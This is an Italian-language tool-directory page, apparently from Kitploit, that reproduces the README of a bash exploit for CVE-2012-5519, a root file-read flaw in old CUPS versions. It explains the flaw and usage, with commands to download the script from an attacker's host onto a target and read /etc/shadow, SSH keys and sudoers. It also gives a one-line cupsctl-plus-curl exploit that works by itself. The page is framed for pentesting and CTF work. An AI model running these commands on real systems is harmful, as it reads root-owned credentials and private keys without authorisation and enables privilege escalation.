Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2012-5519 — cups-root-file-read.sh | CVE-2012-5519 | Kitploit
Strumenti/GitHubGitHub/p1ckzi/cve-2012-5519
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitRaccolta InformazioniCTFPenetration Testing
GitHubp1ckzi/cve-2012-5519

CVE-2012-5519

cups-root-file-read.sh | CVE-2012-5519

Vedi Repository
914 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

cups-root-file-read.sh ⭐

un'implementazione in bash del modulo metasploit 'cups_root_file_read.rb' progettato per pentesting e CTF.
principalmente un breve esercizio di scripting bash. pensato per essere un programma autonomo che sfrutta la CVE-2012-5519 su sistemi linux;
fornisce all'utente un prompt interattivo, permettendogli di leggere rapidamente più file riservati.

l'exploit - CVE-2012-5519 ❗

questo script sfrutta una vulnerabilità in CUPS (common UNIX printing system) < 1.6.2.
CUPS permette agli utenti del gruppo lpadmin di apportare modifiche al file cupsd.conf, tramite il comando cupsctl.
questo comando permette anche all'utente di specificare un percorso ErrorLog.
quando l'utente visita la pagina '/admin/log/error_log', il demone cupsd in esecuzione con SUID di root legge il percorso ErrorLog e lo restituisce in chiaro.
in breve, i file di proprietà dell'utente root possono essere letti se il percorso ErrorLog è indirizzato lì.

prerequisiti ✔

lo script esegue una serie di controlli prima di passare il prompt all'utente; tuttavia tutti i prerequisiti includono:

  • linux - lo script è stato testato solo su linux e potrebbe non funzionare su altri sistemi operativi.
  • bash - cups-root-file-read.sh è scritto in bash.
  • curl - (controllato all'interno dello script) utilizzato per richiedere la pagina web. al momento non ci sono comandi alternativi di parsing HTTP integrati nello script come wget o nc a causa di limiti di tempo.
  • vulnerabile - (controllato all'interno dello script) vengono effettuati alcuni controlli per assicurarsi che la vulnerabilità esista e se l'utente corrente possa sfruttarla, e quindi utilizzare lo script di exploit. questi includono essere un membro del gruppo 'lpadmin', se il comando cupsctl è disponibile, ecc...

utilizzo ℹ

si presume che lo script venga utilizzato per scopi di pentesting e eventi CTF. posizionare lo script sulla macchina target. questo può essere fatto in vari modi. un metodo comune dalla macchina target:

root@kitploit:~
wget http://[my ip]:[my port]/cups-root-file-read.sh

cups-root-file-read.sh non richiede argomenti o flag, ma ne ha due opzionali:

root@kitploit:~
./cups-root-file-read.sh -h

./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
        -a, --accessible: turns off features which may negatively affect
        screen readers.
        -h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
        1. /root/.ssh/id_rsa
        2. /root/.bash_history
        3. /etc/shadow etc...

esegui con:

root@kitploit:~
bash cups-root-file-read.sh

oppure

root@kitploit:~
chmod +x cups-root-file-read.sh

./cups-root-file-read.sh

oppure se vuoi leggere un singolo file:

root@kitploit:~
echo '/etc/shadow' | ./cups-root-file-read.sh

dopo aver superato i controlli iniziali di funzionalità e vulnerabilità, all'utente viene fornito un prompt che consente di digitare un percorso assoluto a un file esistente. il contenuto di ogni file verrà stampato sul terminale.

uso consigliato:

mentre lo script può essere utilizzato per testare e leggere file con restrizioni, è più utile se l'utente conosce già l'esistenza di file riservati che potrebbe voler visualizzare. per esempio:

  • /root/.ssh/id_rsa
  • /root/.bash_history
  • /etc/shadow
  • /etc/sudoers ... etc.

limitazioni ⚠

ci sono alcune limitazioni allo script e all'exploit. e per quanto ne so, anche il modulo 'cups_root_file_read.rb' per metasploit soffre delle stesse limitazioni.

spazi bianchi:

l'input dell'utente deve essere un percorso assoluto verso un file esistente che l'utente vuole visualizzare e non deve contenere spazi bianchi in nessun punto del file o del percorso. questo perché il comando cupsctl non può gestire correttamente i caratteri di spazio bianco nemmeno con le virgolette (es. ErrorLog='/path to/file.txt') e separerà l'input in corrispondenza degli spazi bianchi in direttive separate, con il valore booleano 'true'.
l'esempio precedente, se inviato, verrebbe scritto nel file cupsd.conf come:

root@kitploit:~
ErrorLog=/path
to/file.txt=true

ciò genera errori che vengono scritti nel log degli errori, il quale potrebbe contenere file importanti se specificato nel percorso ErrorLog in un precedente tentativo riuscito di leggere un file. Pertanto, lo script controlla e filtra gli spazi bianchi.


restituzione di codici di stato 404:

nonostante i controlli per assicurarsi che l'utente invii qualcosa che assomigli a un percorso assoluto e a un file, non tutti gli errori possono essere intercettati prima di essere passati al server con il comando cupsctl:
i file esistenti nella directory root possono essere letti (es. '/file.txt') ma anche directory Unix comuni come '/tmp' e '/root' possono essere inviate (sia intenzionalmente che per errore dell'utente). non esiste un controllo per tali directory di sistema e queste restituiranno codici di stato 404 dal server. l'utente viene informato di questi.
directory inesistenti specificate nel percorso (es. '/tmp/non-existent-directory/file.txt') restituiranno anch'esse un codice di stato 404 dal server.


file vuoti:

tentare di visualizzare file inesistenti (es. '/root/non-existent-file.txt') comporterà la loro creazione come nuovo log degli errori. l'utente viene informato di questo nell'output e che il file vuoto potrebbe essere stato creato dallo script di exploit se non era già presente in precedenza. c'è sempre la possibilità che questi file vuoti siano stati creati da un utente di sistema per qualsiasi scopo più o meno nello stesso momento in cui lo script è stato eseguito e quindi non vengono puliti.

mentre linux ha comandi per verificare se un file o una directory esiste, questa funzionalità non è stata implementata nello script prima che l'input dell'utente venga passato al comando cupsctl poiché i comandi di test non funzionano se un file o una directory esiste in un luogo non accessibile all'utente corrente (es. '/root') per ovvie ragioni di sicurezza. poiché lo script è progettato per leggere tali file non accessibili, una tale caratteristica sarebbe inutile.


errori di cups:

a volte possono verificarsi errori di cupsctl quando si apportano modifiche, manualmente o tramite cups-root-file-read.sh. mentre cups-root-file-read.sh gestisce input utente insoliti e alcuni errori, questi errori di cupsctl che si verificano durante la modifica del file cupsd.conf o durante la richiesta della pagina web non vengono gestiti. cups-root-file-read.sh si limiterà a terminare. in questi casi, lo script può essere riavviato e si può fare un altro tentativo.


note 📝

lo script è stato principalmente un esercizio per creare un programma breve, completo e autonomo per un singolo exploit, pensato sia per la leggibilità che per l'accessibilità.

lo script è pensato per testare la presenza di CVE-2012-5519 e poi leggere rapidamente e facilmente più file riservati durante lo sfruttamento. a questo scopo ritengo che sia significativamente più veloce sia del modulo metasploit che del digitare un comando manuale e modificarlo ripetutamente (spero). ma detto questo, se l'utente sa che la macchina target è vulnerabile, lo stesso risultato può essere ottenuto con qualcosa come:

root@kitploit:~
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

a partire dal 2022, questo exploit ha 10 anni. se la macchina target è anch'essa vecchia, è possibile che le versioni dei vari comandi utilizzati nello script non abbiano le funzionalità che hanno ora. questo potrebbe valere anche per la versione di bash. purtroppo sono stato limitato dal tempo e non ho potuto testare lo script in una gamma più ampia di ambienti. potrebbe essere più utile per i CTF.

originariamente lo script doveva essere creato con python3, ma mi sono imbattuto in numerose occasioni in cui python2 e python3 non erano disponibili per l'utente dopo aver ottenuto l'accesso a un sistema come utente non privilegiato. bash è quasi sempre disponibile su un sistema linux, così come i comandi linux comuni, quindi un'implementazione in bash è sembrata l'opzione più sicura.

i comandi bash incorporati sono usati il più possibile, tuttavia lo script si basa su alcuni comandi esterni come sort, head e curl (e ovviamente cupsctl usato come parte dell'exploit). al momento non ci sono controlli per questi comandi e nessuna alternativa a causa di vincoli di tempo. lo script fallirà se questi comandi non sono disponibili :(

crediti 👍

https://argbash.io - per assistenza con gli argomenti iniziali dello script.
https://skerritt.blog/a11y/ - implementazione dell'accessibilità.

Scarica lo strumento